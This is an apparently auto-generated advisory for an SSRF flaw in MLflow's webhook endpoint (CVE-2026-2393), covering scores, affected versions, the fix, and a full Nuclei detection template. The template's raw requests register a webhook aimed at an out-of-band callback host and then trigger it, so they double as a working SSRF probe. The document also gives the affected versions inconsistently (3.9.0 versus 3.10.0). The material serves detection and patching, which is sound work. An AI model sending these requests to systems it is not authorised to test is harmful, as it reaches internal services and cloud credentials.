CVE-2026-2393: Server-Side Request Forgery (SSRF) in mlflow/mlflow
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
A Server-Side Request Forgery (SSRF) vulnerability exists in MLflow versions prior to 3.9.0. The `_create_webhook()` function in `mlflow/server/handlers.py` accepts a user-controlled `url` parameter without validation, and the `_send_webhook_request()` function in `mlflow/webhooks/delivery.py` sends HTTP POST requests to this attacker-controlled URL. This allows an authenticated attacker to force the MLflow backend to send HTTP requests to internal services, cloud metadata endpoints, or arbitrary external servers. The lack of input sanitization, URL scheme filtering, or allowlist validation on the webhook URL enables exploitation, potentially leading to cloud credential theft, internal network access, and data exfiltration.
Description quoted from the CVE record (assigned by @huntr_ai, published 2026-05-11).
Weakness: CWE-918 Server-Side Request Forgery (SSRF)
How it can be exploited
Exploitable over the network with low attack complexity needing low privileges and no user interaction. Impact: confidentiality high, integrity low, availability none. CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: no. Technical impact: partial.
Public exploit evidence (Exploit Observer)
Also known as: EUVD-2026-29093, GHSA-65h7-c7c4-mghx
VEDAS cluster: VEDAS:CRYSTALCINDER
Exploit Observer links 2 pieces of public exploit code or detection modules that name this CVE or one of its aliases.
Exploit code and modules (2)
Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2026/CVE-2026-2393.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2026/CVE-2026-2393.yaml
Vulnerability databases and vendor advisories (5)
Catalogue entries, not exploit evidence.
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2026-29093
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-65h7-c7c4-mghx
- Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-2393
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/CVE-2026-2393
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-65h7-c7c4-mghx
4 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.
VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.
Live scores
- EPSS
- 0.003
low predicted chance of attack - VEDAS
- 0.973
strong exploit evidence - On CISA KEV
- Not listed
- Detection rule
- Nuclei
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| mlflow mlflow/mlflow | before 3.10.0 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
Exploit Observer also maps it to: lfprojects mlflow, pypi mlflow.
How to fix it
Fixed versions stated in the CVE record: 3.10.0.
How to detect it
Nuclei template (active check)
MLflow - Server-Side Request Forgery via Webhook
MLflow prior to 3.9.0 is vulnerable to Server-Side Request Forgery through its webhook feature. The webhook creation endpoint (POST /api/2.0/mlflow/webhooks) accepts an attacker-controlled `url` field without scheme or destination validation, and the webhook test endpoint (POST /api/2.0/mlflow/webhooks/{webhook_id}/test) makes the MLflow backend issue an HTTP request to that URL. An attacker can coerce the server into contacting internal services or cloud metadata endpoints. The tracking server ships without authentication by default.
Name and description quoted from the template, written by VEDAS.
The template sends 2 requests (POST /api/2.0/mlflow/webhooks, POST /api/2.0/mlflow/webhooks/{{webhook_id}}/test); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using dsl, regex, word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2026-2393.yamlShow the template (59 lines)
id: CVE-2026-2393
info:
name: "MLflow - Server-Side Request Forgery via Webhook"
author: vedas-arpsyndicate
severity: high
description: |
MLflow prior to 3.9.0 is vulnerable to Server-Side Request Forgery through its webhook feature.
The webhook creation endpoint (POST /api/2.0/mlflow/webhooks) accepts an attacker-controlled
`url` field without scheme or destination validation, and the webhook test endpoint
(POST /api/2.0/mlflow/webhooks/{webhook_id}/test) makes the MLflow backend issue an HTTP request
to that URL. An attacker can coerce the server into contacting internal services or cloud
metadata endpoints. The tracking server ships without authentication by default.
reference:
- https://www.exploit.observer/?keyword=CVE-2026-2393&match=exact
- https://subdomain.center/?engine=ammonites&keyword=mlflow&match=exact
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
cvss-score: 7.1
cve-id: CVE-2026-2393
cwe-id: CWE-918
metadata:
verified: false
max-request: 2
tags: cve,cve2026,mlflow,ssrf,oast
http:
- raw:
- |
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"vedas-{{randstr}}","url":"http://{{interactsh-url}}","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
- |
POST /api/2.0/mlflow/webhooks/{{webhook_id}}/test HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{}
extractors:
- type: regex
name: webhook_id
part: body
internal: true
group: 1
regex:
- '"webhook_id":\s*"([^"]+)"'
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: dsl
dsl:
- 'contains(body_1, "webhook_id")'
References
Other references
- https://huntr.com/bounties/04ef100d-06b5-4a70-95b1-b7be23aa8150
- https://github.com/mlflow/mlflow/commit/64aa0ab7207f9c649b59ba1a5f40d82196817389
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.